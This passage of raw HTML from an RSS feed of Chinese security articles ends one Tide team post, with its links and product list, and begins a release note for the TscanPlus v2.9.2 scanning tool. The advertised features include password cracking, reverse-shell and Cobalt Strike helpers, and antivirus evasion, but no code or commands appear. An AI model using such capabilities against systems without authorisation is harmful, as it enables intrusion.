href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247521435">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bf6b0f38&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521435%26idx%3D1%26sn%3D34523754451f3768d20e19b6cbec4cc0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 11 Jul 2025 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>无影v2.9.2发布—上线信息搜集等功能</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521351&amp;idx=1&amp;sn=a0f8d4dd5bf4bc70638ee4d4d50d29a8</link>
      <description>无影(TscanPlus) v2.9.2发布，上线信息搜集、新增poc、新增多服务弱口令破解、启发式扫描、IPv6支持、UDP扫描、批量ICP备案查询等功能。</description>
      <content:encoded><![CDATA[<p>
原创 <span>重剑无锋</span> <span>2025-07-01 09:01</span> <span style="display: inline-block;">山东</span>
</p>

<p>无影(TscanPlus) v2.9.2发布，上线信息搜集、新增poc、新增多服务弱口令破解、启发式扫描、IPv6支持、UDP扫描、批量ICP备案查询等功能。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5f09d8b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxnBWuNydO45CiaeQiaoQ6zKXKyeP1REmS7nX122R9yQ0xEBuR9Z4t94Lg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037679" class="rich_pages wxw-img" data-ratio="0.33396584440227706" data-s="300,640" data-type="png" data-w="1054" style="width:335px;height:112px;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=a6abcada&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxjbqWheVJQX9JN5v5nKgfMrZpibeN7j0lqdTY1fQ4ia9pGIic7tjjAoX2Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影(TscanPlus)，一款综合性网络安全检测和运维工具，旨在快速资产发现、识别、检测，构建基础资产信息库，协助甲方安全团队或者安全运维人员有效侦察和检索资产，发现存在的薄弱点和攻击面。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【主要功能】</span></strong><span leaf=""> 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、域名探测、网络空探等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【辅助功能】</span></strong><span leaf=""> 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成等。</span></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf=""><span textstyle="" style="font-weight: bold;">2024年7月，正值2024国H前期，</span><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="无影发布v2.2版" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="font-weight: bold;">无影发布v2.2版</span></a><span textstyle="" style="font-weight: bold;">，引发行业关注。时隔一年，</span></span><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span textstyle="" style="font-weight: bold;">无影</span></span><span leaf=""><span textstyle="" style="font-weight: bold;">又带着一些新功能来助力2025年国H，愿每名红队/蓝队成员都能</span></span><span leaf=""><span textstyle="" style="font-weight: bold;">被这个世界温柔以待。</span></span></p></div><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf=""><span textstyle="" style="font-size: 18px;">1、软件使用</span></span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Github下载：<a href="https://github.com/TideSec/Tscanplus" target="_blank">https://github.com/TideSec/Tscanplus</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">软件基于Wails开发，可支持Windows/Mac/Linux等系统，下载即可使用。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf=""><span textstyle="" style="font-size: 18px;">2、近期新功能介绍</span></span></span><span style="display: none;"></span></h3><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.1 新增信息搜集功能模块</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span><span leaf="">最初规划是只做主动资产探测，所以信息搜集并不在最初规划之内。但信息搜集模块是Github的issue和交流群里呼声最高、提需求最多的一项，所以应各位师傅需求，并参考</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">slack</span></code><span leaf="">和</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">密探</span></code><span leaf="">的界面和模式，便有了现在的信息搜集模块。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">信息搜集模块内置了多个API查询接口，需要配置cookie的有四项（爱站、站长之家、风鸟、beianx），配置cookie后能搜集到更全面的信息，并可对cookie有效性进行验证。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037680" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=7a46aa6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxWUkLEy5DuPgXd4WLbzibCpMTKpLG7WG3EfN3gPg9Y4cLyJC4xvPBTTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><br/></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037681" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=decb7fa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxXRMibtG46iagYVfcWM0qquicxxAZ9T5XrbeZeQ1ib8R5MXCdP3brLa0AIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.2 新增达梦数据库、ActiveMQ、RabbitMQ等服务密码破解功能</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为更方便的做好各类服务的弱口令检测，</span><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: 